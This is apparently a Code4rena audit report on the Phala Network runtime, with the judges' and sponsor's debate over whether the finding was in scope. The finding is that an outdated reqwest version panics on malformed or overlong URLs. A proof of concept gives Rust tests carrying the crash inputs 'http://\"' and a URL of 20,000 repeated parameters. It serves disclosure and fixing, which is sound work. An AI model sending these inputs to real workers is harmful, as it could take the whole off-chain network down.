Two vulnerabilities (at least) in reqwest crate open the door for malicious actor to bring all the workers down

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-03-phala-network/blob/main/phala-blockchain/Cargo.lock#L4116

Vulnerability details

Impact

Pink Runtime utilizes reqwest crate to perform HTTP requests.

If we check Cargo.toml#L13 file, we find that it is using "0.11" version. This way, we make sure that the dep is always updated within 0.11.X. However, if you install the deps, you will find that it is using reqwest version 0.11.20 (you can confirm this by Cargo tree. This is due to the lock file which has 0.11.20 version stored. For more info on Cargo.toml and Cargo.lock please check Cargo.toml vs Cargo.lock.

Why the version matters? The answer is simple, any verison of reqwest prior to 0.11.24 has a vulnerablity which could be exploited to cause a panic.
As a result, anyone could cause the runtime to panic which cause the worker to panic as well. For reference, here is the direct link of what's changed in 0.11.24 version: https://github.com/seanmonstar/reqwest/releases/tag/v0.11.24

A malicious actor can cause all workers to panic (bringing the whole off-chain network down). This is possible, because you can simply pass the same query that include the attack to all workers' RPCs separately.

Note:only queries since HTTP feature is unavailable through transactions.

An example of how to exploit the vulnerablity is to pass "http://\"" as a URL for the http request or passing too long URL (which is allowed since there is no validation in Pink Runtime for URLs lengthes).

The first specific example (i.e. "http://\"") was reported in 2019, for more info please check this: seanmonstar/reqwest#668

I've combined both attacks in this report since they have a common fix, although both throw different errors.

Please check PoC below for both scenarios.

Proof of Concept

• Please add the test code in phala-blockchain/crates/pink/chain-extension/src/lib.rs
• Run the following command:

cargo test test_cause_panic_via_reqwest -- --show-output

OR

cargo test test_cause_panic_via_long_urls -- --show-output

You should see an output similiar to this:

running 1 test
test tests::test_cause_panic_via_reqwest ... ok

successes:

---- tests::test_cause_panic_via_reqwest stdout ----
http
thread 'tokio-runtime-worker' panicked at /Users/mo/.cargo/registry/src/index.crates.io-6f17d22bba15001f/reqwest-0.11.20/src/into_url.rs:80:14:
a parsed Url should always be a valid Uri: InvalidUri(InvalidUriChar)
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace


successes:
    tests::test_cause_panic_via_reqwest

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 29 filtered out; finished in 0.00s

• Test code

#[tokio::test]
    async fn test_cause_panic_via_reqwest() {

        let ur:String = "http://\"".to_owned();
        let response = tokio::task::spawn_blocking(|| {
            http_request(
                HttpRequest {
                    url: ur.into(),
                    method: "GET".into(),
                    headers: vec![("X-Foo".to_string(), "bar".to_string())],
                    body: vec![],
                },
                1000 * 10,
            )
        })
        .await;

    }

}


 #[tokio::test]
    async fn test_cause_panic_via_long_urls() {

        let mut ur:String = "https://httpbin.org/get?".to_owned();

        let extURL:String = (0..20000).map(|_| "&X=X").collect::<String>();
        ur.push_str(&extURL);

        println!("{}", ur.len());

        let response = tokio::task::spawn_blocking(|| {
            http_request(
                HttpRequest {
                    url: ur.into(),
                    method: "GET".into(),
                    headers: vec![("X-Foo".to_string(), "bar".to_string())],
                    body: vec![],
                },
                1000 * 10,
            )
        })
        .await;

    }

• When using Cargo tree

..
..
..
..

│           ├── konst_proc_macros v0.3.0 (proc-macro)
│           └── typewit v1.8.0 (*)
├── reqwest v0.11.20
│   ├── base64 v0.21.3
│   ├── bytes v1.4.0

..
..
..
..

│   ├── url v2.5.0 (*)
│   └── webpki-roots v0.25.3
├── reqwest-env-proxy v0.1.0 (/Users/mo/Documents/share/2024-03-phala-network/phala-blockchain/crates/reqwest-env-proxy)
│   └── reqwest v0.11.20 (*)
├── sp-core v21.0.0 (https://github.com/paritytech/polkadot-sdk.git?branch=release-polkadot-v1.5.0#8a98fec3)

..
..
..
..

Tools Used

Manual analysis

Recommended Mitigation Steps

Update reqwest crate to 0.11.27 version (or at least 0.11.24). Make sure Lock file reflects the new version number.

Please note that reqwest-env-proxy crate is using reqwest 0.11.20 as well although it has "0.11.11" in its Cargo file (for the same reason above).

Assessed type

Library

[c4-pre-sort]

141345 marked the issue as insufficient quality report

[141345]

Out of scope

[kvinwang]

Although out of scope, this should be the most valuable finding among others. Let the judge decide whether to give a reward.

[c4-sponsor]

kvinwang (sponsor) confirmed

[OpenCoreCH]

The warden has demonstrated how an issue in an external library can bring workers down. Technically, this library was out of scope, the C4 policy when it comes to that is:

When an in-scope contract composes/inherits with an OOS contract, and the root cause exists in the OOS contract, the finding is to be treated as OOS. Exceptional scenarios are at the discretion of the judge.

For the following reasons, I will upgrade it as an exception:

• This was not an audit of a smart contract, but a runtime and is comparable with penetration tests that are performed for traditional applications (web sites, mobile apps, etc...). Unlike smart contracts where it is very usual that all dependencies / libraries are out of scope, the libraries and dependencies are typically an important part of such engagements.
• The finding was very valuable to the sponsor and resulted in changes that may have helped to prevent downtimes in the future.

[c4-judge]

OpenCoreCH marked the issue as selected for report

[DadeKuma]

I highly respect Koolex for this finding, which I think is technically valid.

At the same time, I believe this issue should be treated as OOS for the reward calculation. It is very unfair to Wardens who read that rule and didn't submit this issue because the file was out of scope for this contest.

Citing the Supreme Court verdict:

The Sponsor must understand that adding a file to scope.txt means it’s in scope, while the omission of a file means it’s out of scope, even if the file will be part of the deployed contracts.

I strongly believe that it will set a bad precedent for the future if this issue is finalized as valid. All Wardens will likely begin submitting OOS findings as they don't lose anything by doing so, but the potential reward is much higher if their issue gets validated.

This will result in a net loss for C4, as Wardens, Lookouts, and Judges waste their time submitting or reviewing issues that are typically invalidated as OOS.

This situation happened many times, and the best way to handle it is for the Sponsor to privately reward the Warden who submitted this issue, if they wish to do so. A past example can be found here.

Thank you all for your understanding.

[OpenCoreCH]

I thought about this some more and discussed this with the C4 team & looked at prior cases of similar scenarios. The typical way to handle this is indeed a sponsor's bug bounty program or payments outside C4. While the finding is great, it would ultimately be unfair for the other wardens to treat it as in-scope and potentially set a dangerous precedent for future contests.

[c4-judge]

OpenCoreCH marked the issue as unsatisfactory:
Out of scope